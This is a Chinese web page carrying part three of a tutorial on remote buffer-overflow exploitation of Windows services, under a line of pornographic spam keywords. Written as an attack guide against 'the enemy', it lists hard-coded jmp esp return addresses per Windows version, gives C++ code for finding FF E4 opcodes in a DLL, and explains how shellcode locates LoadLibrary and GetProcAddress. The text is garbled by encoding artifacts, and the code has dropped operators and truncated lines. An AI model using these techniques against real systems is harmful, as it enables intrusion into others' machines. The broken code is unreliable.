日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

windows系統(tǒng)下的遠程溢出方法( 三 )


以上地址,我們可以在測試的時候使用,但是,在真正對付敵人的時候,為了區(qū)別出
選擇哪一個地址,就需要首先摸清敵人的操作系統(tǒng)以及dll版本號 。
jmp esp 地址如果不對,敵人的程序就會出現(xiàn)"無效頁錯誤"對話框,并且一定會當?shù)簦?br /> 所以,在攻擊之前,必須通過一些蛛絲馬跡,判斷敵人的類型 。
以下是測試時候使用的代碼:
#ifdef WIN2000
#define JUMPESP "x2axe3xe2x77"
#endif
#ifdef WINNT4
#define JUMPESP "xc3xeaxf0x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "xa3x95xf7xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敵人目標程序上的jmp esp地址 。"
#endif
如果你有softice,可以直接在內(nèi)存里面搜ffe4 。如果沒有,
綠色兵團的Backend 寫過一個小程序可以搜索user32.dll中的FFE4(jmp esp)串 。
我把他改了一下,可以搜索指定dll中的FFE4 。算法如下:
/****************************************************************************/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
if(argc>1) {
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "< return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y)
{
try
{
if(ptr[y] == 0xFF && ptr[y 1] == 0xE4)
{
int pos = (int)ptry;
cout<<"OPCODE found at 0x"<}
}
catch(...)
{
cout<<"END OF "< done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
/****************************************************************************/
2)shellcode所使用函數(shù)的問題
在shellcode里面使用了很多win32函數(shù),比如ReadFile,CreateProcess等等 。
這些函數(shù)必須加載到了敵人程序的進程空間里面后我們才能使用 。
我們將攻擊的敵人的遠程服務程序里面并不能保證已經(jīng)load了我們所需要的
所有的函數(shù) 。
我們希望可以作出一個平臺無關(guān)的shellcode,這就必須:
不直接使用OS版本相關(guān)的函數(shù)入口地址 。
這是因為函數(shù)入口地址是根據(jù)OS/SP/升級的版本不同而可能不同的 。
唯一的辦法就是對使用的每一個win32函數(shù),都使用LoadLibrary加載dll,
用GetProcAddress函數(shù)來獲得函數(shù)地址 。這需要我們的shellcode里面有一個函數(shù)名表
保存每一個所使用的函數(shù)的函數(shù)名,并且在shellcode執(zhí)行前,調(diào)用上述兩個函數(shù)
一一獲得這些函數(shù)的地址 。
但是又有一個問題,就是LoadLibrary和GetProcAddress本身的地址怎么獲得呢?
我們想一想,這兩個函數(shù)的作用?"取得所有其他函數(shù)的地址 。"
沒錯,他們太重要了,每一個win32程序都要使用它們!那么,我們的目標程序呢?
肯定也會有它們的 。所以,在寫exploit的時候,這兩個函數(shù)的地址都是確定的 。
如何找到這兩個函數(shù)在目標程序里面的加載地址呢?它們會不會是根據(jù)敵人操作系統(tǒng)
的不同而變化的呢?不是 。這些動態(tài)加載的函數(shù)都是在目標程序里面設置了一個入口表 。
由目標程序自己去加載,但是他的入口表地址是固定的 。
你可以使用wdasm32來搜索LoadLibrary和GetProcAddress,
可以看到它們對應的入口表地址AAAA 。在shellcode里面,
可以直接用call [AAAA]來引用它們 。
3)shellcode里面使用的字符串問題
剛剛解決了第二個問題,就引出了第三個問題 。前面提到過使用函數(shù)名表以用來動態(tài)獲得

推薦閱讀